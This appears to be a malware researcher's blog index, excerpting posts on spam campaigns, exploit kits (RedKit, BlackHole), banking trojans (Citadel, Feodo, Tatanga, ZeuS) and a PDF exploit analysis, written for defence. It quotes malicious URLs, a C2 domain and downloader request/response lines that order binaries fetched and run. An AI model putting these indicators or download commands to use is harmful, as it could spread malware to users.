Malware

The Boston Marathon bombings, RedKit and a malware zoo

Just some hours after the bombings during the Boston Marathon we already had several spam campaigns using that subject to infect users. It seems that cybercriminals don't respect anything, did we really expect something different? :p

On the past Wednesday I received four emails talking about the Boston incident. They were really suspicious, just a URL in the body, the URLs had just an IP instead of a good domain...I think someone was in a rush trying to profit from this as soon as possible, while it was still on the news...
 

 
The subjects were:
 

BREAKING - Boston Marathon Explosion 
Explosion at the Boston Marathon
Aftermath to explosion at Boston Marathon
Explosions at the Boston Marathon

 
And the URLs I saw:
 

hxxp://94.28.49 .130/boston.html 
hxxp://78.90.133 .133/boston.html
hxxp://118.141.37 .122/news.html
hxxp://110.92.80 .47/news.html

 
These URLs leaded to a simple webpage with six iframes. Five of them pointed to real videos about the tragedy and the other one redirected to a RedKit exploit kit which was trying to exploit a CVE-2012-1723 Java vulnerability (take a look at the vulnerability explanation). Also, a Meta Refresh Tag was leading to this URL:
 

Sopelka VS Eurograbber: really 36 million EUR?

Almost one month ago I had the opportunity of giving a talk at Rooted CON for yet another year. Mikel Gastesi and me talked about Sopelka Botnet and the Eurograbber report published by Check Point and Versafe at the beginning of December 2012. You can take a look at the slides here.

After reading the Eurograbber report and taking into account that there were a lot of similarities with Sopelka Botnet, which I had analyzed some months before, I decided to write a blog post about it. At the same moment, the Rooted CON CFP was closing, so I submitted this subject and then I forced myself to research further to demonstrate that Eurograbber was just a hype. Thanks to the investigations by S21sec and Fox-IT there was more than enough information.

Uncovering the "new" Eurograbber: really 36 million EUR?

Eurograbber is in the news, beware. Some days ago Versafe and Check Point Software Technologies published a “new” threat report titled “A Case Study of Eurograbber: How 36 Million Euros was Stolen via Malware”. A bit sensationalist, yes. If it was well documented and there was real proof of that, I would have nothing to say, but it turns out that this threat is not so new and I wrote about it by the end of September, when I was working at S21sec. I called this Sopelka botnet.

Apart of being new or not (I think all of us thought that we were the first ones when really not), the report throws some data about affected banks/users and, the most important, the amounts stolen from each country by the fraudsters: more than 16 million EUR in Italy, almost 13 million EUR in Germany, almost 6 million EUR in Spain and more than 1 million EUR in Netherlands. In summary, more than 36 million EUR in Europe. Taking into account the sad times we are living in, crisis times, it's pretty noteworthy, isn't it?

This report and, above all, these stolen amounts have been quickly published everywhere and are quite widespread, faster than some of the most infamous Trojans. That's why I would like to say some words about the report and these astonishing amounts:

 

  • It's not a new Trojan, not a new customized ZeuS, it's just Citadel. Citadel, but also Tatanga and Feodo. In this botnet were used at least three different Trojans.
     

Sopelka Botnet: three banking trojans and one banking panel

Sopelka botnet started life in May this year and was taken down by end of September. It has been called Sopelka because of the path used in the distribution of binaries and configuration files, and was an odd mixture of variants of the known banking trojans Tatanga, Feodo and Citadel.

This botnet’s objective was the collection of banking credentials from European entities, mostly banks from Spain and Germany, but also Holland, Italy and Malta. In addition, it made use of different mobile components for Android, BlackBerry and Symbian phones. Symbian was the first operating system where this type of malicious component emerged two years ago.

During the botnet’s lifetime there were at least five campaigns and it’s likely that more were carried out. Of the five known campaigns, three of them installed variants of Citadel (versions 1.3.4.0 and 1.3.4.5), another Feodo, and Tatanga was the chosen trojan in the other one. All the Citadel campaigns carried the name “sopelka” (a flute type in Russian) in their download paths for binaries and configuration files, but this was not the case with Tatanga and Feodo.

Sex, Exploit Kits and Ransomware

Each of us has his own preferences: some people love Lady Gaga or Justin Bieber, others Rocco Siffredi or Laura Lion. The love for the latter can be dangerous if you are not aware of security problems when you have a non-updated system, and it's possible you end with an infected system asking for money to recover the control of the machine.

 

 

This was an interesting situation so I tried to help my friend. In this case, just after the desktop appeared, a full-screen window showed. It was a warning from the Spanish police ("Cuerpo Nacional de Policía") saying that the system had been blocked because it had been used to perpetrate illegal actions like child pornography, terrorism and violence against children: "Fue detectado un caso de actividad ilegal. El sistema operativo fue bloqueado por violación de las leyes de España!". A warning like this can be shocking for a normal user, so social engineering was working here. However, this warning was also asking for 100€ to be paid via Ukash or Paysafecard as a fine for this behaviour and in order to restore the system. This part can be a bit strange and maybe makes the victims call the police very quickly. Once this window appeared no other action was possible, like execute the Task Manager or return to the desktop, just enter a code to pay.

 

 

Dynamic analysis of a CVE-2011-2462 PDF exploit

After the exploit static analysis some things like the function of the shellcode were unclear, so a dynamic analysis could throw some light on it. When we open the exploit without the Javascript code used for heap spraying we obtain an access violation error in rt3d.dll. If we put a breakpoint in the same point when we launch the original exploit we can see this (better explanation of the vulnerability):

 

Instead of showing an access violation the CALL function is pointing to a valid address in icucnv36.dll, 0x4A8453C3. This address is not random and it's used in the Javascript code to perform part of the heap spraying:

 

 

 

Static analysis of a CVE-2011-2462 PDF exploit

CVE-2011-2462 was published more than one month ago. It's a memory corruption vulnerability related to U3D objects in Adobe Reader and it affected all the latest versions from Adobe (<=9.4.6 and <= 10.1.1). It was discovered while it was being actively exploited in the wild, as some analysis say. Adobe released a patch for it 10 days after its publication. I'm going to analyse a PDF file exploiting this vulnerability with peepdf to show some of the new commands and functions in action.

As usual, a first look at the information of the file:

info

I've highlighted the interesting information of the info command: one error while parsing the document, one object (15) containing Javascript code, one object (4) containing two ways of executing elements (/AcroForm, /OpenAction) and one U3D object (10), suspicious for its known vulnerabilities, apart of the latest one.

So we have several objects to explore, let's start from the /AcroForm element (object 4):

BlackHole leading to Feodo: Bank of America account frozen

I've received a Christmas gift some hours ago. In fact there were two gifts but only one has survived the trip. They are from Russia...with love. Of course I'm talking about two e-mails I've received with two suspicious links. Even the e-mail bodies were suspicious, I think they have packed very quickly my gifts or they are not very attentive to me...:( The From field included "bankofamerica" and the Subject "Accountfrozen" so I suppose this means that my Bank of America account is frozen, right?

After some redirections we can find the typical obfuscated Javascript code made in BlackHole:
 

After decoding the Javascript code we obtain the next step, also related to BlackHole. This time I can only see a unique Flash exploit trying to download and execute a binary from the same domain where the exploit kit is located (shellcode is XORed with 0x28).

ZeuS P2P distribution campaign: ACH transaction canceled

Our team (S21sec) has detected a ZeuS trojan distribution by email campaign that has been running for some days. The malicious emails include a link to a supposed report about a cancelled transaction, which is actually an HTML page that loads Javascript code into the victim’s browser. This code tries to exploit different vulnerabilities in Java, Flash and PDF to install ZeuS 2.0 on the system. This is one of the latest versions of ZeuS which uses P2P as part of its infrastructure (Murofet 2.0).
 
The subject of the emails detected so far is “ACH transaction canceled” and in the body of the mail there is information about a supposed transaction that has been cancelled. If the victim wants further information then they have to visit a link that contains a report about the transaction:

For a few seconds the victim sees a screen indicating that they must wait. Meanwhile 4 scripts, stored on different domains are loaded into user’s browser. They are little more than simple redirections towards the site where the code (that will attempt to perform the exploitation) resides.

ToorCon Seattle 2011

As I mentioned in the previous post, just after Source Seattle some days ago, the ToorCon (also in Seattle) began. Some speakers took advantage of this to present the same or different presentations at both conferences. Friday the 13th was the opening day, with a small party, but the presentations didn’t begin until the following day. There were thirty talks in total, each delivered in a 15 minute period of time, with a short break for lunch. It was an entire day of presentations, from 8:30 till 10:30, quite a day!
 

Source Seattle 2011

Some days ago, Source Seattle (USA) took place. It is the first time it has taken place in Seattle and although the attendance couldn’t match the Boston conference, the atmosphere was magnificent. It began on Tuesday the 14th with an event for the speakers and organizers to get to know each other and enjoy a beer with some tasty Asian cuisine. I was the representative of the S21sec e-crime team with a speech about banking Trojans.

The talks began on Wednesday the 15th and the agenda was divided into two tracks, one dedicated to technical themes and the other centred on the business world. The first day, the following themes (amongst others) were touched on: evaluation of necessary expenses in security, the application of the law in cybercrime matters, threat modelling, forensic memory analysis of Android’s Dalvik Virtual Machine and my speech about the evolution of fraud through banking Trojans.

Tatanga: a new banking trojan with MitB functions

Recently our e-crime unit has detected a new banking trojan, named as Tatanga, with Man in the Browser (MitB) functions affecting banks in Spain, United Kingdom, Germany and Portugal. Like SpyEye, it can perform automatic transactions, retrieving the mules from a server and spoofing the real balance and banking operations of the users. Its detection rate is very low, and the few antivirus engines that can detect it yield a generic result.

The trojan in question is rather sophisticated. It is written in C++ and uses rootkit techniques to conceal its presence, though on occasion, its files are visible. The trojan downloads a number of encrypted modules (DLLs), which are decrypted in memory when injected to the browser or other processes to avoid detection by antivirus software. The modules are the following:

  • ModEmailGrabber: It gathers e-mail addresses.

  • Coredb: It manages the trojan's configuration. The corresponding file is encrypted with the algorithm 3DES.
  • Comm Support Library: This module implements the encryption of the communication between the trojan and the control panel.
  • File Patcher: The function of this module is not clear yet. It is suspected that it is in charge of the propagation across folders containing multimedia, zipped or executable files.
  • Security PDF-related links in 2010: analyses and tools

    After one year full of security issues related to the Portable Document Format I've made a little compilation of useful links to analyses and tools:

    Analysis

    2010-01-04: Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324  (embedded binaries)
    2010-01-07: Static analysis of malicous PDFs (Part #2) (getAnnots, arguments.callee)
    2010-01-09: PDF Obfuscation (variable substitution, LuckySploit, CVE 2008-2992)
    2010-01-13: Generic PDF exploit hider. embedPDF.py and goodbye AV detection
    2010-01-14: PDF Obfuscation using getAnnots() (getAnnots, arguments.callee, Neosploit)
    2010-02-15: Filling Adobe's heap (Javascript, ActionScript and PDF Images)
    2010-02-18: Malicious PDF trick: getPageNthWord
    2010-02-21: Analyzing PDF exploits with Pyew
    2010-03-01: Analyzing PDF Files (getPageNthWord, getPageNumWords)
    2010-04-08: JavaScript obfuscation in PDF: Sky is the limit (getAnnots,arguments.callee)

    Yet another Oficla email campaign (CV)

    This time I've received a nicer e-mail, a woman sending me her CV!! with a picture of her included too!! :) In fact, she has included in the image some words too, a bit strange...

    Again the same actors: Oficla and ZeuS. This time not Feodo downloading. Inside the zip file we can find the Oficla sample, with a medium detection rate. It connects with the domain showtimeru.ru (now it's down) to ask for URLs to download more malware:

    http://showtimeru.ru/show/bb.php?v=200&id=428308300&b=0711_e&tm=6832
    [info]runurl:http://1xx.1xx.1xx.46/test/esmilk.exe|taskid:8|delay:15|upd:0|backurls:[/info]

    The server response contained the same URL (active yet) as the DHL campaign, downloading the same version of ZeuS, different MD5.

    Beware with women!! they are not trustful!! ;)

    DHL e-mail campaign downloading ZeuS and Feodo

    This past month a new DHL campaign has been spreading malware in a zip file. The executable in the zip was identified (with a high detection rate) as Oficla by the Antivirus engines. This malicious code, with filename DHL_Etiqueta.exe, acts as a downloader asking a server the URLs it must use to download the other malicious files. It always uses in the requests the User-Agent Opera\9.64. These are the requests and responses in this case:

    http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&b=2510_dhl&tm=1397
    [info]runurl:http://1xx.1xx.1xx.xx/test/morph.exe|taskid:16|delay:15|upd:0|backurls:[/info]

    http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&tid=16&b=2510_dhl&r=1&tm=1397
    [info]kill:0|runurl:http://1xx.1xx.1xx.xx/test/esmilk.exe|taskid:17|delay:15|upd:0|backurls:[/info]


    Both of the downloaded files, morph.exe and esmilk.exe, are banking trojans. The former is a sample of Feodo, with a low detection rate (7/41), which downloads the configuration file from a server after sending to it a POST request:

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